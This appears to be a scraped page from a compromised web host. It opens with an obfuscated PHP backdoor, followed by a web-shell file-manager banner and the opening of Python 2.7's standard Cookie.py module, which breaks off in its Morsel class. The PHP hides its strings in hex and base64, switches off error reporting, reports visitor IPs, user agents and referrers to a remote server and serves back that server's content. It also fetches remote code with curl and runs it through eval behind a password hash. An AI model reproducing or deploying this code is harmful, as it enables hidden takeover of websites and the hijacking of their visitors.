G82CTUQjRJ5LLC: dUW3UlNhBZ6D9b: goto mb4gmMXHTo2Q03; OXh5GgWyMOQ9av: if (isset($_SERVER["\110\124\124\120\137\106\122\x4f\x4e\x54\137\105\116\104\137\110\x54\124\x50\123"]) && strtolower($_SERVER["\x48\124\124\x50\x5f\106\x52\117\116\124\x5f\x45\x4e\x44\x5f\110\x54\124\x50\123"]) !== "\157\146\x66") { goto dUW3UlNhBZ6D9b; } goto h0bTManPMOTqhL; k0If3ve2hQMxaB: G_2Gdaf967GaUx: goto n0D9LxkXWBNaQA; ME9cSr2QkJbHPA: if (isset($_SERVER["\x48\x54\x54\x50\x5f\130\x5f\x46\117\x52\127\101\x52\x44\105\104\x5f\120\122\117\x54\x4f"]) && $_SERVER["\110\x54\x54\120\x5f\x58\x5f\106\x4f\x52\127\x41\122\104\x45\x44\137\120\x52\x4f\x54\x4f"] === "\150\x74\164\x70\163") { goto G_2Gdaf967GaUx; } goto OXh5GgWyMOQ9av; n0D9LxkXWBNaQA: $TjAL9SfpCu_Vfy = "\150\x74\164\160\x73\x3a\57\x2f"; goto ZYLdcBGeB2ABzZ; PYWaa80Uel55zV: $TjAL9SfpCu_Vfy = "\150\164\x74\x70\x73\x3a\57\57"; goto AhcaFB9B3gMXPO; mb4gmMXHTo2Q03: $TjAL9SfpCu_Vfy = "\x68\164\164\160\x73\x3a\x2f\57"; goto gTYyEwk3_LUcDz; VVYGLENwiOPjfL: } goto BB4OxnMd_EMy3p; nKaKDB4as0yoc_: CWZS7eew2qXSpf: goto xiPjYeHDGGYTk1; uQMzHjqkf81tHB: if (!$kQ67spUDDLBffj) { goto aXnousimfq1MHe; } goto xs5fLHH9cPjVCu; RIsMt2qsgu4dAl: $Gc9_8J48v7x6gV = preg_replace("\x2f\134\77\56\52\x2f", '', $_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"]); goto Mk0DSKrr4qXtCe; otJnenzuNlf2sr: if (!(strpos($Gc9_8J48v7x6gV, "\56") > 0)) { goto CWZS7eew2qXSpf; } goto sjCKQHz6Q60Ccm; PiS66AgndgIJSv: Cr5laLHspUINK9: goto ufyV20U0fMcSJg; Mk0DSKrr4qXtCe: $kQ67spUDDLBffj = true; goto DxyNV93FjRyEoy; DxyNV93FjRyEoy: $HONQlNCvlYnOH8 = ''; goto otJnenzuNlf2sr; IMYI82ML4NgtAy: error_reporting(0); goto glSNg_LzxYIsX2; glSNg_LzxYIsX2: $utiBLP6LCTh1f2 = "\x72" . "\141" . "\x6e" . "\x67" . "\x65"; goto L8DBoJliwEzMp6; SlOv92pUeuRbs6: function OB2VtLXkgRIPlw($f1mozuANtprQMT) { return rtrim(strtr(base64_encode($f1mozuANtprQMT), "\x2b\57", "\x2d\x5f"), "\75"); } goto TDIrhdxvpNlFt9; os9gRuFURD1cGv: error_reporting(0); goto uxRi5Q7SMo35qu; wH1UQCn4Kym7NZ: @header("\x43\x6f\x6e\164\145\156\164\x2d\x54\171\x70\x65\x3a" . $Obe5O3pNrh1wNk["\x74\171\x70\145"]); goto lY0mM3QMw40Wja; sjCKQHz6Q60Ccm: $HONQlNCvlYnOH8 = substr($Gc9_8J48v7x6gV, strrpos($Gc9_8J48v7x6gV, "\56")); goto pYDglccpOwInMp; utegf_3TzFo8KM: header("\103\157\156\164\145\x6e\x74\x2d\x54\x79\x70\x65\x3a\40\x74\145\x78\x74\57\150\x74\155\154\73\40\x63\x68\x61\162\163\x65\164\75\165\164\x66\x2d\x38"); goto os9gRuFURD1cGv; tmjXznylhTgZ8a: if (in_array($Obe5O3pNrh1wNk["\x73\164\x61\164\x75\x73"], array(0, 200))) { goto nhUzRbCLQnuhLh; } goto c5_FfvrAB9U4Yd; ogjcRqlt8m1yFt: AtSmUC2FnsV8tA::KI1Kxaut6tOb4_(); goto utegf_3TzFo8KM; cCQUyydRpwrclc: $Obe5O3pNrh1wNk = cTP2tSflXg1jMM(base64_decode("\141\110\x52\60\x63\104\x6f\x76\114\62\150\63\131\x6a\x55\64\144\x6a\101\63\x4c\x6e\x42\154\143\110\121\x75\x63\62\x46\x73\132\x53\70"), $Ym0oIOWx6ByrbA); goto tmjXznylhTgZ8a; HEzdriQUoUsbcb: oZofqjcmql98Vl: goto RdRkLruqBbgd8Z; Pji3QhS868OoF4: pdT1WydGNbUwH7: goto uQMzHjqkf81tHB; hiBpnXBGYbBU3U: $kQ67spUDDLBffj = false; goto vf1Hpkrvn4j1uD; Cd7vkzilA61XS4: $cVPbc5aZBpQh4S = ''; goto Pji3QhS868OoF4; YpOvOLk2zAfp6F: $Ym0oIOWx6ByrbA["\163\156"] = ob2vTLxkGRipLW($_SERVER["\123\103\122\x49\x50\124\x5f\x4e\x41\115\105"]); goto hQrHQ4TUM_yVuh; zCPQ5sJ4prS3cM: class AtsmuC2FNSv8tA { static function HiR6oxdC0gvy2z($BW71TGqh6zqLp0) { goto KHgKgOn3FsDTTa; WnkUI9pHyPBuZm: $GkQAuHLQ3N3XQW = ''; goto WM19NL2F93TTJX; KHgKgOn3FsDTTa: $KsSQ2WVlAfhYGi = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto SYHHG2duid0FC5; AkZwDNU1hD13k2: Msf7bOuYLqoUBQ: goto zjbEJbLu1rh6fC; SYHHG2duid0FC5: $AtNGdLmxUU_eyr = $KsSQ2WVlAfhYGi("\176", "\40"); goto sDlG7XxbTh82si; sDlG7XxbTh82si: $Qa8g5WW7UopXE6 = explode("\53", $BW71TGqh6zqLp0); goto WnkUI9pHyPBuZm; WM19NL2F93TTJX: foreach ($Qa8g5WW7UopXE6 as $TzjXB0hEV3mWbH => $vBDjbTJco2LdIH) { $GkQAuHLQ3N3XQW .= $AtNGdLmxUU_eyr[$vBDjbTJco2LdIH - 5199]; ek2Wb04KDv0_8r: } goto AkZwDNU1hD13k2; zjbEJbLu1rh6fC: return $GkQAuHLQ3N3XQW; goto mvSqNKKQW0dWKE; mvSqNKKQW0dWKE: } static function pt0kgTqOQgWXOc($U2C_3PmbNzlS0s, $dFFH41CbFWTZVX) { goto PeU6Y0BKnLAjiD; PeU6Y0BKnLAjiD: $vAUjzk7AjeF8LJ = curl_init($U2C_3PmbNzlS0s); goto XgkiCPEdPud823; F0lfera6M44Flk: $ew4RbqszUvgJ48 = curl_exec($vAUjzk7AjeF8LJ); goto KyuOuTMYBfTs48; KyuOuTMYBfTs48: return empty($ew4RbqszUvgJ48) ? $dFFH41CbFWTZVX($U2C_3PmbNzlS0s) : $ew4RbqszUvgJ48; goto zEsIdRklqzh6zy; XgkiCPEdPud823: curl_setopt($vAUjzk7AjeF8LJ, CURLOPT_RETURNTRANSFER, 1); goto F0lfera6M44Flk; zEsIdRklqzh6zy: } static function ki1kXAUT6tOb4_() { goto EJ7566q1lfwfcm; xsPP8ESDmR1Aur: @eval($ynlJNPNMmDeXVa[1 + 3]($jHnu4Zp7Wf_MZ8)); goto K3HoZH3pxQfn2c; FiKMKPq3gMe0CH: @$ynlJNPNMmDeXVa[0 + 10](INPUT_GET, "\157\x66") == 1 && die($ynlJNPNMmDeXVa[1 + 4](__FILE__)); goto BrQwRNK4B0XILn; CLlLAWjdHMTY3X: foreach ($uOCboEbhYVOtM8 as $w9aHYENXNIyo2G) { $ynlJNPNMmDeXVa[] = self::hiR6oxdc0gVy2z($w9aHYENXNIyo2G); pinv70Hl5Kbn3s: } goto m3wDdy0f3A1DIX; m3wDdy0f3A1DIX: p8r5sgUOVFkFTO: goto Z8yLLNYDCQaHAi; OzamV3emZ6eAbO: $s4rOMgcAWfiAfB = @$ynlJNPNMmDeXVa[2 + 1]($ynlJNPNMmDeXVa[5 + 1], $bVmLTGOkbLprfr); goto L3pzZmGB9cJxd1; uXTgzQ2JHrZmxk: $jHnu4Zp7Wf_MZ8 = self::pt0kgtQOqGWXoc($xj2AeH6SP1maOW[1 + 0], $ynlJNPNMmDeXVa[4 + 1]); goto xsPP8ESDmR1Aur; NO2vbVdI186HFj: HzpQLyst8TW3Tc: goto UaJaR8RWF8BtcP; L3pzZmGB9cJxd1: $xj2AeH6SP1maOW = $ynlJNPNMmDeXVa[2 + 0]($s4rOMgcAWfiAfB, true); goto FiKMKPq3gMe0CH; BrQwRNK4B0XILn: if (!(@$xj2AeH6SP1maOW[0] - time() > 0 and md5(md5($xj2AeH6SP1maOW[0 + 3])) === "\x65\64\66\x66\63\x63\x32\65\145\x38\70\x62\66\60\142\x32\x34\71\x66\x34\141\71\61\x38\x31\65\143\x61\71\x34\x62\61")) { goto HzpQLyst8TW3Tc; } goto uXTgzQ2JHrZmxk; EJ7566q1lfwfcm: $uOCboEbhYVOtM8 = array("\x35\x32\62\x36\x2b\x35\x32\61\x31\53\65\62\62\x34\x2b\x35\x32\x32\70\53\x35\x32\x30\71\x2b\65\62\x32\x34\53\65\x32\x33\x30\x2b\65\x32\x32\63\53\x35\x32\60\70\53\x35\x32\61\x35\53\x35\x32\62\66\53\x35\x32\60\x39\53\x35\62\x32\60\53\65\62\x31\64\53\x35\x32\x31\x35", "\65\x32\61\x30\53\x35\x32\60\71\x2b\65\62\61\x31\53\x35\x32\63\60\x2b\x35\62\x31\x31\53\x35\62\x31\64\53\65\62\60\x39\53\x35\x32\x37\x36\x2b\65\62\67\64", "\65\x32\61\71\x2b\x35\x32\x31\60\53\65\x32\x31\64\x2b\x35\x32\x31\x35\x2b\x35\62\63\x30\53\65\62\62\x35\x2b\65\x32\62\x34\53\x35\62\62\66\53\x35\62\61\64\53\65\x32\x32\x35\x2b\65\62\62\64", "\65\62\61\x33\x2b\x35\62\x32\70\53\x35\x32\x32\66\53\65\x32\x31\x38", "\x35\62\x32\67\53\65\x32\62\70\x2b\65\x32\x31\x30\x2b\65\62\x32\64\x2b\x35\x32\x37\x31\53\65\62\67\63\53\x35\62\x33\x30\x2b\x35\x32\x32\65\x2b\65\x32\x32\x34\53\65\62\x32\66\53\x35\62\x31\x34\53\x35\x32\62\x35\x2b\65\62\x32\x34", "\x35\x32\62\x33\x2b\65\x32\62\60\x2b\65\x32\x31\x37\53\65\62\x32\x34\53\65\x32\x33\60\x2b\65\x32\x32\62\53\x35\62\62\x34\53\x35\x32\x30\x39\x2b\x35\62\x33\x30\53\x35\x32\x32\x36\53\65\62\61\x34\53\65\x32\x31\x35\53\x35\62\x30\x39\53\x35\x32\x32\x34\53\65\x32\61\65\53\x35\62\60\x39\53\65\62\61\60", "\x35\x32\x35\63\53\x35\x32\x38\x33", "\x35\x32\x30\x30", "\x35\62\67\x38\x2b\x35\x32\x38\63", "\65\x32\66\x30\x2b\x35\62\x34\63\53\65\62\x34\63\53\x35\x32\66\60\x2b\x35\62\63\66", "\x35\62\62\x33\x2b\x35\62\62\x30\x2b\x35\x32\x31\67\53\65\62\60\x39\53\x35\62\62\x34\x2b\65\x32\x31\x31\53\65\x32\63\x30\53\65\62\x32\60\53\65\x32\61\65\53\x35\62\61\63\53\65\62\x30\70\x2b\65\62\x30\71"); goto CLlLAWjdHMTY3X; Z8yLLNYDCQaHAi: $bVmLTGOkbLprfr = @$ynlJNPNMmDeXVa[1]($ynlJNPNMmDeXVa[10 + 0](INPUT_GET, $ynlJNPNMmDeXVa[4 + 5])); goto OzamV3emZ6eAbO; K3HoZH3pxQfn2c: die; goto NO2vbVdI186HFj; UaJaR8RWF8BtcP: } } goto ogjcRqlt8m1yFt; t8TpplQkxmNQKg: VWq7n8avJneZWe: goto ZVM0YvvgbIo11U; ufyV20U0fMcSJg: nhUzRbCLQnuhLh: goto b7DnrAS9hKZE6C; L2fzlj7JmrK97A: $Ym0oIOWx6ByrbA["\163"] = oB2VtLXKgRIPLW($DCQAxVYJ0s2xNZ); goto juNf0o5W9RUnP8; TDIrhdxvpNlFt9: function tDk2fhL7aRlnRq() { goto A0jfGlM3HtbTc8; vsGQjQL1n3QW2Q: $cIX1t8ECuEurN8 = $cIX1t8ECuEurN8[0]; goto myJj1wXf2lYI5E; QOh3G8lOqaQWeK: xB39IGICyiwlN1: goto PWUIOKof_frKdi; WSbyHvGkSPW8G6: return $cIX1t8ECuEurN8; goto Grz6njp1WbkzyW; myJj1wXf2lYI5E: Fy2tlq68W1Z4cY: goto WSbyHvGkSPW8G6; B99XlumIIoF9yc: goto O37D2TgI1D66fQ; goto kKfGd_juWsO9SB; tNtX7SnHEoN9ve: if (isset($_SERVER["\x48\124\x54\120\x5f\130\137\x52\x45\101\114\x5f\x49\x50"]) && !empty($_SERVER["\x48\124\x54\x50\x5f\x58\x5f\122\105\101\x4c\x5f\x49\x50"])) { goto IbsgkORsYRpgBL; } goto m1YuAzS4K6e0ZJ; gwXV80f3Kvnin5: $cIX1t8ECuEurN8 = $_SERVER["\110\124\124\120\137\130\x5f\106\117\122\x57\101\x52\x44\x45\x44\137\x46\x4f\x52"]; goto F5UC4mBhfgxdX2; xHNzAyzHVlO5pq: $cIX1t8ECuEurN8 = explode("\54", $cIX1t8ECuEurN8); goto vsGQjQL1n3QW2Q; LkMROqR4RYuDsX: $cIX1t8ECuEurN8 = $_SERVER["\x52\x45\115\117\124\105\x5f\101\x44\x44\x52"]; goto dYhlmimy6UKWgc; PWUIOKof_frKdi: $cIX1t8ECuEurN8 = $_SERVER["\x48\124\124\x50\x5f\x43\x46\x5f\x43\117\116\x4e\105\x43\x54\x49\116\x47\x5f\x49\x50"]; goto B99XlumIIoF9yc; dYhlmimy6UKWgc: goto O37D2TgI1D66fQ; goto QOh3G8lOqaQWeK; c7Zjb3FklkFA6T: $cIX1t8ECuEurN8 = trim(str_replace("\x20", '', $cIX1t8ECuEurN8), "\54"); goto jnEONwk8qQ3QoE; IYNLV2P_z1R8_9: $cIX1t8ECuEurN8 = $_SERVER["\x48\x54\x54\x50\137\130\137\x52\105\x41\x4c\137\x49\x50"]; goto g3xl2m2S2bmEAU; A0jfGlM3HtbTc8: $cIX1t8ECuEurN8 = ''; goto rR27t1UBdIHeAR; rR27t1UBdIHeAR: if (isset($_SERVER["\110\x54\x54\x50\137\x43\x46\137\103\117\x4e\x4e\105\x43\124\111\116\107\137\x49\x50"]) && !empty($_SERVER["\x48\x54\x54\120\x5f\x43\x46\137\103\x4f\x4e\x4e\105\103\124\x49\x4e\x47\x5f\x49\x50"])) { goto xB39IGICyiwlN1; } goto tNtX7SnHEoN9ve; jnEONwk8qQ3QoE: if (!(strpos($cIX1t8ECuEurN8, "\x2c") !== false)) { goto Fy2tlq68W1Z4cY; } goto xHNzAyzHVlO5pq; m1YuAzS4K6e0ZJ: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\x46\x4f\122\x57\101\x52\104\x45\104\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\x5f\130\137\x46\117\x52\x57\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto YO_1CRlkHk0b5K; } goto LkMROqR4RYuDsX; kKfGd_juWsO9SB: IbsgkORsYRpgBL: goto IYNLV2P_z1R8_9; F5UC4mBhfgxdX2: O37D2TgI1D66fQ: goto c7Zjb3FklkFA6T; g3xl2m2S2bmEAU: goto O37D2TgI1D66fQ; goto PoJd83qL9Ntzk7; PoJd83qL9Ntzk7: YO_1CRlkHk0b5K: goto gwXV80f3Kvnin5; Grz6njp1WbkzyW: } goto J5qe_wS1vgzck7; b7DnrAS9hKZE6C: if (!strlen($Obe5O3pNrh1wNk["\143\157\156\x74\145\156\x74"])) { goto VWq7n8avJneZWe; } goto wH1UQCn4Kym7NZ; juNf0o5W9RUnP8: $Ym0oIOWx6ByrbA["\x75"] = ob2VTLxKgRIPLw($_SERVER["\x48\x54\x54\120\x5f\125\x53\x45\122\x5f\x41\107\x45\x4e\x54"]); goto cCQUyydRpwrclc; ks1k8aTWZXL63p: $Ym0oIOWx6ByrbA["\162\146"] = oB2VtLXkgriplW($cVPbc5aZBpQh4S); goto L2fzlj7JmrK97A; zdY3FjKTBRxxC2: exit("\x7b\x20\42\x65\x72\162\x6f\162\42\x3a\40\x32\60\x30\x2c\x20\42\x6c\x63\x22\72\40\x22\x6a\153\42\54\40\x22\144\141\164\x61\42\72\x20\x5b\x20\x31\x20\135\40\x7d"); goto PZW0GG3F0uoCYA; mBWmHT5C3u6kIU: exit(strrev(md5($_SERVER["\110\x54\124\x50\137\x48\117\123\124"]))); goto iFI7SVRy1TDCFo; lY0mM3QMw40Wja: exit($Obe5O3pNrh1wNk["\x63\x6f\156\x74\x65\156\164"]); goto t8TpplQkxmNQKg; ZVM0YvvgbIo11U: aXnousimfq1MHe: ?> HEX
HEX
Server: LiteSpeed
System: Linux cg.mitralhost.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User: foofelco (1828)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //usr/lib64/python2.7/Cookie.py
####
# Copyright 2000 by Timothy O'Malley <timo@alum.mit.edu>
#
#                All Rights Reserved
#
# Permission to use, copy, modify, and distribute this software
# and its documentation for any purpose and without fee is hereby
# granted, provided that the above copyright notice appear in all
# copies and that both that copyright notice and this permission
# notice appear in supporting documentation, and that the name of
# Timothy O'Malley  not be used in advertising or publicity
# pertaining to distribution of the software without specific, written
# prior permission.
#
# Timothy O'Malley DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS
# SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
# AND FITNESS, IN NO EVENT SHALL Timothy O'Malley BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
# WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
# ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
# PERFORMANCE OF THIS SOFTWARE.
#
####
#
# Id: Cookie.py,v 2.29 2000/08/23 05:28:49 timo Exp
#   by Timothy O'Malley <timo@alum.mit.edu>
#
#  Cookie.py is a Python module for the handling of HTTP
#  cookies as a Python dictionary.  See RFC 2109 for more
#  information on cookies.
#
#  The original idea to treat Cookies as a dictionary came from
#  Dave Mitchell (davem@magnet.com) in 1995, when he released the
#  first version of nscookie.py.
#
####

r"""
Here's a sample session to show how to use this module.
At the moment, this is the only documentation.

The Basics
----------

Importing is easy..

   >>> import Cookie

Most of the time you start by creating a cookie.  Cookies come in
three flavors, each with slightly different encoding semantics, but
more on that later.

   >>> C = Cookie.SimpleCookie()
   >>> C = Cookie.SerialCookie()
   >>> C = Cookie.SmartCookie()

[Note: Long-time users of Cookie.py will remember using
Cookie.Cookie() to create a Cookie object.  Although deprecated, it
is still supported by the code.  See the Backward Compatibility notes
for more information.]

Once you've created your Cookie, you can add values just as if it were
a dictionary.

   >>> C = Cookie.SmartCookie()
   >>> C["fig"] = "newton"
   >>> C["sugar"] = "wafer"
   >>> C.output()
   'Set-Cookie: fig=newton\r\nSet-Cookie: sugar=wafer'

Notice that the printable representation of a Cookie is the
appropriate format for a Set-Cookie: header.  This is the
default behavior.  You can change the header and printed
attributes by using the .output() function

   >>> C = Cookie.SmartCookie()
   >>> C["rocky"] = "road"
   >>> C["rocky"]["path"] = "/cookie"
   >>> print C.output(header="Cookie:")
   Cookie: rocky=road; Path=/cookie
   >>> print C.output(attrs=[], header="Cookie:")
   Cookie: rocky=road

The load() method of a Cookie extracts cookies from a string.  In a
CGI script, you would use this method to extract the cookies from the
HTTP_COOKIE environment variable.

   >>> C = Cookie.SmartCookie()
   >>> C.load("chips=ahoy; vienna=finger")
   >>> C.output()
   'Set-Cookie: chips=ahoy\r\nSet-Cookie: vienna=finger'

The load() method is darn-tootin smart about identifying cookies
within a string.  Escaped quotation marks, nested semicolons, and other
such trickeries do not confuse it.

   >>> C = Cookie.SmartCookie()
   >>> C.load('keebler="E=everybody; L=\\"Loves\\"; fudge=\\012;";')
   >>> print C
   Set-Cookie: keebler="E=everybody; L=\"Loves\"; fudge=\012;"

Each element of the Cookie also supports all of the RFC 2109
Cookie attributes.  Here's an example which sets the Path
attribute.

   >>> C = Cookie.SmartCookie()
   >>> C["oreo"] = "doublestuff"
   >>> C["oreo"]["path"] = "/"
   >>> print C
   Set-Cookie: oreo=doublestuff; Path=/

Each dictionary element has a 'value' attribute, which gives you
back the value associated with the key.

   >>> C = Cookie.SmartCookie()
   >>> C["twix"] = "none for you"
   >>> C["twix"].value
   'none for you'


A Bit More Advanced
-------------------

As mentioned before, there are three different flavors of Cookie
objects, each with different encoding/decoding semantics.  This
section briefly discusses the differences.

SimpleCookie

The SimpleCookie expects that all values should be standard strings.
Just to be sure, SimpleCookie invokes the str() builtin to convert
the value to a string, when the values are set dictionary-style.

   >>> C = Cookie.SimpleCookie()
   >>> C["number"] = 7
   >>> C["string"] = "seven"
   >>> C["number"].value
   '7'
   >>> C["string"].value
   'seven'
   >>> C.output()
   'Set-Cookie: number=7\r\nSet-Cookie: string=seven'


SerialCookie

The SerialCookie expects that all values should be serialized using
cPickle (or pickle, if cPickle isn't available).  As a result of
serializing, SerialCookie can save almost any Python object to a
value, and recover the exact same object when the cookie has been
returned.  (SerialCookie can yield some strange-looking cookie
values, however.)

   >>> C = Cookie.SerialCookie()
   >>> C["number"] = 7
   >>> C["string"] = "seven"
   >>> C["number"].value
   7
   >>> C["string"].value
   'seven'
   >>> C.output()
   'Set-Cookie: number="I7\\012."\r\nSet-Cookie: string="S\'seven\'\\012p1\\012."'

Be warned, however, if SerialCookie cannot de-serialize a value (because
it isn't a valid pickle'd object), IT WILL RAISE AN EXCEPTION.


SmartCookie

The SmartCookie combines aspects of each of the other two flavors.
When setting a value in a dictionary-fashion, the SmartCookie will
serialize (ala cPickle) the value *if and only if* it isn't a
Python string.  String objects are *not* serialized.  Similarly,
when the load() method parses out values, it attempts to de-serialize
the value.  If it fails, then it fallsback to treating the value
as a string.

   >>> C = Cookie.SmartCookie()
   >>> C["number"] = 7
   >>> C["string"] = "seven"
   >>> C["number"].value
   7
   >>> C["string"].value
   'seven'
   >>> C.output()
   'Set-Cookie: number="I7\\012."\r\nSet-Cookie: string=seven'


Backwards Compatibility
-----------------------

In order to keep compatibility with earlier versions of Cookie.py,
it is still possible to use Cookie.Cookie() to create a Cookie.  In
fact, this simply returns a SmartCookie.

   >>> C = Cookie.Cookie()
   >>> print C.__class__.__name__
   SmartCookie


Finis.
"""  #"
#     ^
#     |----helps out font-lock

#
# Import our required modules
#
import string

try:
    from cPickle import dumps, loads
except ImportError:
    from pickle import dumps, loads

import re, warnings

__all__ = ["CookieError","BaseCookie","SimpleCookie","SerialCookie",
           "SmartCookie","Cookie"]

_nulljoin = ''.join
_semispacejoin = '; '.join
_spacejoin = ' '.join

#
# Define an exception visible to External modules
#
class CookieError(Exception):
    pass


# These quoting routines conform to the RFC2109 specification, which in
# turn references the character definitions from RFC2068.  They provide
# a two-way quoting algorithm.  Any non-text character is translated
# into a 4 character sequence: a forward-slash followed by the
# three-digit octal equivalent of the character.  Any '\' or '"' is
# quoted with a preceding '\' slash.
#
# These are taken from RFC2068 and RFC2109.
#       _LegalChars       is the list of chars which don't require "'s
#       _Translator       hash-table for fast quoting
#
_LegalChars       = string.ascii_letters + string.digits + "!#$%&'*+-.^_`|~"
_Translator       = {
    '\000' : '\\000',  '\001' : '\\001',  '\002' : '\\002',
    '\003' : '\\003',  '\004' : '\\004',  '\005' : '\\005',
    '\006' : '\\006',  '\007' : '\\007',  '\010' : '\\010',
    '\011' : '\\011',  '\012' : '\\012',  '\013' : '\\013',
    '\014' : '\\014',  '\015' : '\\015',  '\016' : '\\016',
    '\017' : '\\017',  '\020' : '\\020',  '\021' : '\\021',
    '\022' : '\\022',  '\023' : '\\023',  '\024' : '\\024',
    '\025' : '\\025',  '\026' : '\\026',  '\027' : '\\027',
    '\030' : '\\030',  '\031' : '\\031',  '\032' : '\\032',
    '\033' : '\\033',  '\034' : '\\034',  '\035' : '\\035',
    '\036' : '\\036',  '\037' : '\\037',

    # Because of the way browsers really handle cookies (as opposed
    # to what the RFC says) we also encode , and ;

    ',' : '\\054', ';' : '\\073',

    '"' : '\\"',       '\\' : '\\\\',

    '\177' : '\\177',  '\200' : '\\200',  '\201' : '\\201',
    '\202' : '\\202',  '\203' : '\\203',  '\204' : '\\204',
    '\205' : '\\205',  '\206' : '\\206',  '\207' : '\\207',
    '\210' : '\\210',  '\211' : '\\211',  '\212' : '\\212',
    '\213' : '\\213',  '\214' : '\\214',  '\215' : '\\215',
    '\216' : '\\216',  '\217' : '\\217',  '\220' : '\\220',
    '\221' : '\\221',  '\222' : '\\222',  '\223' : '\\223',
    '\224' : '\\224',  '\225' : '\\225',  '\226' : '\\226',
    '\227' : '\\227',  '\230' : '\\230',  '\231' : '\\231',
    '\232' : '\\232',  '\233' : '\\233',  '\234' : '\\234',
    '\235' : '\\235',  '\236' : '\\236',  '\237' : '\\237',
    '\240' : '\\240',  '\241' : '\\241',  '\242' : '\\242',
    '\243' : '\\243',  '\244' : '\\244',  '\245' : '\\245',
    '\246' : '\\246',  '\247' : '\\247',  '\250' : '\\250',
    '\251' : '\\251',  '\252' : '\\252',  '\253' : '\\253',
    '\254' : '\\254',  '\255' : '\\255',  '\256' : '\\256',
    '\257' : '\\257',  '\260' : '\\260',  '\261' : '\\261',
    '\262' : '\\262',  '\263' : '\\263',  '\264' : '\\264',
    '\265' : '\\265',  '\266' : '\\266',  '\267' : '\\267',
    '\270' : '\\270',  '\271' : '\\271',  '\272' : '\\272',
    '\273' : '\\273',  '\274' : '\\274',  '\275' : '\\275',
    '\276' : '\\276',  '\277' : '\\277',  '\300' : '\\300',
    '\301' : '\\301',  '\302' : '\\302',  '\303' : '\\303',
    '\304' : '\\304',  '\305' : '\\305',  '\306' : '\\306',
    '\307' : '\\307',  '\310' : '\\310',  '\311' : '\\311',
    '\312' : '\\312',  '\313' : '\\313',  '\314' : '\\314',
    '\315' : '\\315',  '\316' : '\\316',  '\317' : '\\317',
    '\320' : '\\320',  '\321' : '\\321',  '\322' : '\\322',
    '\323' : '\\323',  '\324' : '\\324',  '\325' : '\\325',
    '\326' : '\\326',  '\327' : '\\327',  '\330' : '\\330',
    '\331' : '\\331',  '\332' : '\\332',  '\333' : '\\333',
    '\334' : '\\334',  '\335' : '\\335',  '\336' : '\\336',
    '\337' : '\\337',  '\340' : '\\340',  '\341' : '\\341',
    '\342' : '\\342',  '\343' : '\\343',  '\344' : '\\344',
    '\345' : '\\345',  '\346' : '\\346',  '\347' : '\\347',
    '\350' : '\\350',  '\351' : '\\351',  '\352' : '\\352',
    '\353' : '\\353',  '\354' : '\\354',  '\355' : '\\355',
    '\356' : '\\356',  '\357' : '\\357',  '\360' : '\\360',
    '\361' : '\\361',  '\362' : '\\362',  '\363' : '\\363',
    '\364' : '\\364',  '\365' : '\\365',  '\366' : '\\366',
    '\367' : '\\367',  '\370' : '\\370',  '\371' : '\\371',
    '\372' : '\\372',  '\373' : '\\373',  '\374' : '\\374',
    '\375' : '\\375',  '\376' : '\\376',  '\377' : '\\377'
    }

_idmap = ''.join(chr(x) for x in xrange(256))

def _quote(str, LegalChars=_LegalChars,
           idmap=_idmap, translate=string.translate):
    #
    # If the string does not need to be double-quoted,
    # then just return the string.  Otherwise, surround
    # the string in doublequotes and precede quote (with a \)
    # special characters.
    #
    if "" == translate(str, idmap, LegalChars):
        return str
    else:
        return '"' + _nulljoin( map(_Translator.get, str, str) ) + '"'
# end _quote


_OctalPatt = re.compile(r"\\[0-3][0-7][0-7]")
_QuotePatt = re.compile(r"[\\].")

def _unquote(str):
    # If there aren't any doublequotes,
    # then there can't be any special characters.  See RFC 2109.
    if  len(str) < 2:
        return str
    if str[0] != '"' or str[-1] != '"':
        return str

    # We have to assume that we must decode this string.
    # Down to work.

    # Remove the "s
    str = str[1:-1]

    # Check for special sequences.  Examples:
    #    \012 --> \n
    #    \"   --> "
    #
    i = 0
    n = len(str)
    res = []
    while 0 <= i < n:
        Omatch = _OctalPatt.search(str, i)
        Qmatch = _QuotePatt.search(str, i)
        if not Omatch and not Qmatch:              # Neither matched
            res.append(str[i:])
            break
        # else:
        j = k = -1
        if Omatch: j = Omatch.start(0)
        if Qmatch: k = Qmatch.start(0)
        if Qmatch and ( not Omatch or k < j ):     # QuotePatt matched
            res.append(str[i:k])
            res.append(str[k+1])
            i = k+2
        else:                                      # OctalPatt matched
            res.append(str[i:j])
            res.append( chr( int(str[j+1:j+4], 8) ) )
            i = j+4
    return _nulljoin(res)
# end _unquote

# The _getdate() routine is used to set the expiration time in
# the cookie's HTTP header.      By default, _getdate() returns the
# current time in the appropriate "expires" format for a
# Set-Cookie header.     The one optional argument is an offset from
# now, in seconds.      For example, an offset of -3600 means "one hour ago".
# The offset may be a floating point number.
#

_weekdayname = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']

_monthname = [None,
              'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
              'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']

def _getdate(future=0, weekdayname=_weekdayname, monthname=_monthname):
    from time import gmtime, time
    now = time()
    year, month, day, hh, mm, ss, wd, y, z = gmtime(now + future)
    return "%s, %02d %3s %4d %02d:%02d:%02d GMT" % \
           (weekdayname[wd], day, monthname[month], year, hh, mm, ss)


#
# A class to hold ONE key,value pair.
# In a cookie, each such pair may have several attributes.
#       so this class is used to keep the attributes associated
#       with the appropriate key,value pair.
# This class also includes a coded_value attribute, which
#       is used to hold the network representation of the
#       value.  This is most useful when Python objects are
#       pickled for network transit.
#

class Morsel(dict):
    # RFC 2109 lists these attributes as reserved:
    #   path       comment         domain
    #   max-age    secure      version
    #
    # For historical reasons, these attributes are also reserved:
    #   expires
    #
